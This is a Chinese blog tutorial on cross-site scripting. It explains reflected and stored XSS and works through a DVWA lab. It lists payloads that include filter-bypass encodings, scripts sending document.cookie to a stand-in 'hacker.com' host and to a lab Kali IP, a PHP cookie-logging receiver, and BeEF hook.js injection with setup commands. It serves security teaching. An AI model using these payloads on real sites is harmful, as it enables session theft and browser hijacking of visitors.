首页 > 其他分享 >XSS

XSS

时间:2023-04-14 18:24:46浏览次数:43  
标签:脚本 XSS www beef xss cookie

跨站脚本攻击XSS

1. XSS简介

跨站脚本( cross site script )为了避免与样式css混淆,所以简称为XSS。
XSS是一种经常出现在web应用中的计算机安全漏洞,也是web中最主流的攻击方式。"那么什么是XSS呢?
XSS是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码 ,嵌入到web页
面中去。使别的用户访问都会执行相应的嵌入代码。
从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

2. 原理解析

XSS主要原因:
过于信任客户端提交的数据!

XSS主要分类:
反射型xss攻击( Reflected XSS )又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻
击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接( 即每次攻击需要用户的点击)。

存储型XSS ( Stored XSS)又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一 般指XSS攻击代码)存储在网站数据
库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久性XSS攻击危害性更大,
因为每当用户打开页面,查看内容时脚本将自动执行。谷歌的orkut曾经就遭受到XSS。

3. 构造XSS脚本

3.1 常见HTML标签

<iframe>
	iframe|元素会创建包含另外-个文档的内联框架(即行内框架)。
<textarea> 	
    <textarea> 标签定义多行的文本输入控件。
<img>
	img元素向网页中嵌入-幅图像。
<script>
    <script>标签用于定义客户端脚本,比如JavaScript。
    script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。
    必需的type属性规定脚本的MIME类型。
	JavaScript的常见应用时图像操作、表单验证以及动态内容更新。

3.2 常见的 JavaScript 方法

alert
	alert()方法用于显示带有一条指定消息和一个确认按钮的警告框
window.location
	window.location对象用于获得当前页面的地址(URL) ,并把浏览器重定向到新的页面。
location.href
	返回当前显示的文档的完整URL
onload
	一张页面或一幅图像完成加载
onsubmit
	确认按钮被点击
onerror
	在加载文档或图像时发生错误

3.3 构造XSS脚本

弹框警告
此脚本实现弹框提示, 一般作为漏洞测试或者演示使用,类似SQL注入漏洞测试中的单引号,一旦此脚本能执行,也就意
味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XSS漏洞。

<script>alert('xss')</script>
<script>alert(document.cookie) </script>

页面嵌套

<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

页面重定向

<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

弹框警告并重定向

<script>alert("请移步到我们的新站" ) ;location.href="http://www.baidu.com"</script>
<script>alert('xss');1ocation.href="" http://10.15.64.35/mutillidae/robots.txt"</script>

这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击并且相信了这个信
息,则可能在另外的站点重新登录账户(克隆网站收集账户)

访问恶意代码

<script src="http://www.baidu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script>|

结合BeEF收集用户的cookie

巧用图片标签

<img src="#" one rror=alert('XSS')>
<img src="javascript:alert('xss');">
<img src="http://BeEF_ IP:>000/hook.js"></img>

绕开过滤的脚本
大小写

<ScrIpt>alert('xss')</SCRipt>

字符编码采用URL、Base64等编码

<a
href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116
;&#40;&#34;&#120;&#115;&#115;&#34;&#41;">xss</a>

收集用户cookie
打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cooki e访问目标网页。

<script>window.open("http://www.hacker.com/cookie.php?cookie=”+document.cookie)</script>
<script>document.location="http://www.hacker.com/cookie.php?cookie="+document.cookie</script>
<script>new Image().src= "http://www.hacker.com/cookie.php?cookie=" +document.cookie;</script>
<img src="http://www.hacker.com/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://www.hacker.com/cookie.php?cookie=" +document.cookie"></iframe>
<script>new Image().src="http://www.hacker.com/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>

4. 反射型XSS

4.1 安全级别

4.2 手工XSS

用户访问网页中的XSS链接,服务器接受并返回,用户执行反射回来的代码并解析执行。

# 弹窗警告
<script>alert('hi')</script>
<script>alert(document.cookie)</script>

5. 存储型XSS

存储型XSS (持久型XSS )即攻击者将带有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访问此页面的用户,所以危害非常大。

5.1 手工【低】

攻击1弹框告警: 渗透机kali Linux 端操作

text1
<script>alert('xss')</script>

攻击2 获取cookie: 渗透机Kali Linux端操作
1.构建收集cookie服务器
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS代码并将cookie发送到Kali
4.Cookie利用

vim /var/www/html/cookie_rec.php
<?php
    $cookie = $_GET['cookie'];
    $log = fopen("cookie.txt","a");
    fwrite($log, $cookie . "\n");
    fclose($log);
?>
 

设置权限用于存放cookie

chown -R www-data.www-data /var/www/

在XSS stored上输入以下脚本。如果是火狐有输入字数限制,请打开开发之模式修改maxlength即可。另外还需要设置浏览器允许弹出窗口!!

<script>window.open('http://192.168.1.131/cookie_rec.php?cookie='+document.cookie)</script>

注: 192.168.1.131为kali Linu
注:先清除之前植入的XSS代码

​ 在cookie服务器上查看生成的cookie.txt文件。

6. 自动化XSS

6.1 BEef简介

Browser Exploitation Framework (BeEF )

BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透:

BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;

官网:http://beefproject.com/

6.2 BEef的主要功能

  • 信息收集:

    1. 网络发现
    2. 主机信息
    3. Cookie获取
    4. 会话劫持
    5. 键盘记录
    6. 插件信息
  • 持久化控制:

    1. 确认弹框
    2. 小窗口
    3. 中间人
  • 社会工程:

    1. 点击劫持
    2. 弹窗告警
    3. 虚假页面
    4. 钓鱼页面
  • 渗透攻击:

    1. 内网渗透
    2. Metasploit
    3. CSRF攻击
    4. DDOS攻击

6.3 BEef实战

(1)先安装beef-xss。

#先更新一下软件然后安装beef-xss
apt-get update
apt-get install beef-xss

#启动beef
systemctl start beef-xss

#由于beef不允许弱命令登录(默认账号密码都是beef),在第一次登录时需要更改密码

#也可以修改beef-xss登录密码。编辑以下文件,直接修改passwd为root
cd /usr/share/beef-xss/
vim config.yaml 

登录beef管理界面:

(2) 渗透机将脚本放在DWVA靶机中:
注: 192.168.1.128为BeEF所在机器,即Kali Linux IP

<script src="http://192.168.1.128:3000/hook.js"></script>

(3)执行之后kali端online browsers出现了我们真机的ip。点击真机,观察右边:

(4)试一试commands选项

  1. 重定向肉鸡访问的网页(网站自己设置):

肉鸡就会出现对话框提醒

  1. 重定向肉鸡访问的网页(网站自己设置):

标签:脚本,XSS,www,beef,xss,cookie
From: https://www.cnblogs.com/Wesuiliye/p/17319205.html

相关文章

  • debian-kali 安装beef-xss (启动状态为failed)
    文档来自大佬https://www.cnblogs.com/xiatian09/p/9791040.html本人仅是自己做个记录给自己看,不喜欢的看的×这个界面就可以了,勿喷废话少说先看图问题和图└─#beef-xss[-]YouareusingtheDefaultcredentials[-](Passwordmustbedifferentfrom"beef")[-]Pleas......
  • xss Payload
    十进制值 URL编码 介绍47 %2F 正斜杠13 %0D 回车12 %0C ......
  • 02-xss固定会话攻击
    xss学习可以步骤参考:https://www.cnblogs.com/tangtou/p/17281696.html目录原理xss平台cookie窃取和欺骗影响固定会话攻击防御原理用户会话令牌利用cookie来实现,cookie是存储在浏览器端的一小段文本,相当于身份证,会有窃取和欺骗的风险可以利用xss攻击窃取浏览器里的cookie信息......
  • Webug——过滤xss
    同反射型xss相同在url参数id中进行xss攻击http://192.168.75.146/control/xss/filter_xss.php?id=<script>alert(xss)</script>不过根据反馈script被过滤了我们就......
  • 项目中如何对XSS统一处理
    XSS攻击是什么?XSS攻击是指攻击者利用网站中的漏洞,向页面中注入恶意脚本,从而获取用户的信息或者控制用户的计算机。举一个通俗的例子,早期使用JSP页面渲染页面的项目,如果将......
  • xss跨站脚本
    跨站脚本(英语:Cross-sitescripting,通常简称为:XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响......
  • wolvctf 2023 zombie xss
    当时做的时候没想到这道题考的是XSS,归结原因在于对nodejs的代码不熟悉。先上源码:bot.js源码就不放了,主要功能概括一下就是点击用户提交的链接,把flag放到cookie里传过去,很......
  • DVWA-XSS(Stored)
    存储型XSS(Cross-SiteScripting)攻击是一种常见的Web应用程序安全漏洞,攻击者在一个网站上注入恶意代码,并将该代码存储在服务器端的数据库中,当其他用户访问该网站的页面时......
  • XSS
    XSS漏洞描述​ XSS攻击全称跨站脚本攻击,是为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全......
  • DVWA-XSS(DOM)
    漏洞详解。DOMXSS(Cross-sitescripting)是一种Web安全漏洞,它利用了浏览器的DOM(文档对象模型)解析机制,通过注入恶意代码来攻击用户。DOMXSS与传统的反射型或存储型XSS有所......